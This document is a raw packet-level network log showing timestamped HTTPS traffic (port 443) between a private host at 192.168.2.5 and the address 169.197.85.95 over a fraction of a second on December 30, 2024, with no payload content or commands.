Dec 30, 2024 16:17:44.257050991 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257093906 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257105112 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257162094 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257167101 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257224083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257258892 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257261038 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257272005 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257285118 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257350922 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257383108 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257419109 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257451057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257456064 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257471085 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257477045 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257487059 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257492065 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257524014 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257558107 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257605076 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257611036 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257617950 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257668972 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257684946 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257735014 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257741928 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257797003 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257838011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257853985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257859945 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257896900 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257896900 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257900953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257911921 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257956028 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257967949 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.257973909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.257997036 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.258006096 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.258025885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.258043051 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.258049011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.258078098 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.258199930 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.280905008 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.280962944 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.280996084 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.281003952 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.281021118 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.332073927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342416048 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342484951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342502117 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342519045 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342535973 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342535973 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342570066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342573881 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342581034 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342616081 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342626095 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342662096 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342664003 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342664003 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342673063 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342705965 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342705965 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342720985 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342758894 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342803955 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342842102 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342848063 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342864037 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.342920065 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.342920065 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343013048 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343019009 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343153954 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343189955 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343199015 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343214989 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343225956 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343251944 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343251944 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343261003 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343271971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343277931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343306065 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343328953 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343334913 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343343973 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343385935 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343434095 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343440056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343508959 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343549013 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343549013 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343552113 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343569040 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343600988 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343601942 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343636036 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343643904 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343643904 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343651056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343671083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343699932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343699932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343708038 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343723059 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343729973 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343789101 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343796968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343856096 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343862057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343868971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343895912 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343930006 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343930006 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343939066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343974113 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.343991041 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.343997955 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344017029 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.344130993 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344172001 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344186068 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.344193935 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344204903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344208956 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.344238043 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344263077 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.344269037 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344332933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.344351053 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344389915 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.344397068 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.344476938 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.367333889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.367372990 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.367400885 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.367414951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.367441893 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.367474079 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.428719997 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.428808928 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.428910017 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.428914070 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.428914070 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.428931952 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.428952932 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.428962946 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.428987026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429003000 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429009914 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429028988 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429047108 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429081917 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429085970 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429169893 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429214954 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429218054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429227114 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429260015 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429270029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429303885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429322958 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429328918 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429348946 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429366112 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429366112 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429378033 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429389954 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429390907 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429449081 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429454088 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429497957 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429531097 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429553032 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429558992 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.429582119 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.429619074 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430013895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430062056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430083990 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430089951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430128098 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430128098 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430136919 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430149078 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430187941 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430191994 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430202007 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430239916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430255890 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430262089 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430296898 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430298090 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430351019 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430356979 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430366039 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430428982 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430434942 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430543900 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430588007 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430598974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430603981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430640936 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430800915 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430840969 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430877924 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430879116 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430888891 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430891037 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430931091 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430938005 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.430943966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430978060 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.430984974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.431015968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.431032896 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.431039095 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.431056023 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.431092024 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.431092024 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.431098938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.431999922 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.453632116 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.453739882 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.453773975 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.453780890 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.453979969 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.453979969 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.514902115 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515054941 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515058994 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515095949 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515105963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515136957 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515140057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515141010 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515171051 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515186071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515187979 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515245914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515253067 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515266895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515301943 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515325069 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515331030 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515342951 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515407085 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515439987 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515459061 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515465021 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515479088 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515651941 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515686989 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515700102 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515707970 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515732050 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.515755892 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515855074 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.515861034 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516297102 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516334057 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516371965 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516381025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516381025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516388893 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516410112 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516433954 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516443968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516469002 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516474962 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516515017 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516551971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516581059 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516602039 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516608000 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516617060 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516649961 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516719103 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516729116 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516737938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516767025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516782045 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516823053 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516825914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516832113 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516925097 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.516944885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.516985893 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517002106 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517008066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517039061 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517157078 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517199039 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517220974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517226934 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517235994 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517236948 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517294884 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517317057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517323017 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517332077 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.517333031 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517396927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.517404079 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.520891905 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.539793968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.539895058 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.539951086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.540026903 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601264954 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601306915 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601361036 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601373911 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601402044 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601455927 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601485968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601521015 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601526976 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601537943 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601561069 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601561069 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601571083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601581097 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601608992 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601620913 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601627111 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601633072 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601666927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601721048 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601751089 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601775885 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601787090 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601795912 CET	57860	443	192.168.2.5	169.197.85.95
